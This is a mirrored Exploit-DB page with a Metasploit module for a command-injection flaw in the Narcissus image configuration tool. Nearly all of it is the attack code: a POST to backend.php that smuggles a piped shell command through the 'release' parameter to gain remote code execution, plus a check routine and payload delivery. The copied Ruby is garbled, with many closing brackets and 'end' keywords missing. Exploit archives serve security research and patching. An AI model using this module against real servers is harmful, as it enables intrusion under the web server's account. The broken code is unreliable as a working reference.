Narcissus Image Configuration – Passthru (Metasploit)

Exploit Database
105 阅读

作者： Metasploit

日期： 2012-11-21
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/22856/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => "Narcissus Image Configuration Passthru Vulnerability",

'Description'=> %q{

This module exploits a vulnerability found in Narcissus image configuration

function.This is due to the backend.php file not handling the $release parameter

properly, and then passes it on to the configure_image() function.In this

function, the $release parameter can be used to inject system commands for

passthru (a PHP function that's meant to be used to run a bash script by the

vulnerable application), which allows remote code execution under the context

of the web server.

'License'=> MSF_LICENSE,

'Author' =>

[

'Dun',#Original

'sinn3r'#Metasploit

'References' =>

[

[ 'EDB', '22709' ],

[ 'BID', '87410' ]

'Payload'=>

{

'BadChars' => "\x00\x0d\x0a"

'Platform' => ['unix', 'linux'],

'Arch' => ARCH_CMD,

'Compat' =>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl ruby python bash netcat-e'

'Targets'=>

[

['Narcissus', {}]

'Privileged' => false,

'DisclosureDate' => "Nov 14 2012",

'DefaultTarget'=> 0))

register_options(

[

OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/'])

], self.class)

end

def base

uri = target_uri.path

uri << '/' if uri[-1,1] != '/'

return uri

end

def peer

"#{rhost}:#{rport}"

end

def remote_exe(command)

res = send_request_cgi({

'uri'=> "#{base}backend.php",

'method' => 'POST',

'encode_params' => false,

'vars_post' => {

'machine' => '0',

'action'=> 'configure_image',

'release' => "|#{command}"

}

})

vprint_line(res.body) if res

return res

end

def check

sig = rand_text_alpha(rand(10) + 5)#The string to check

print_status("#{peer} - Looking for signature '#{sig}'...")

res = remote_exe("echo #{sig}")

if res and res.body =~ /#{sig}/

print_status("#{peer} - Signature '#{sig}' found.")

return Exploit::CheckCode::Vulnerable

else

print_status("#{peer} - Signature not found")

return Exploit::CheckCode::Safe

end

def exploit

print_status("#{peer} - Sending malicious request...")

remote_exe(payload.encoded)

end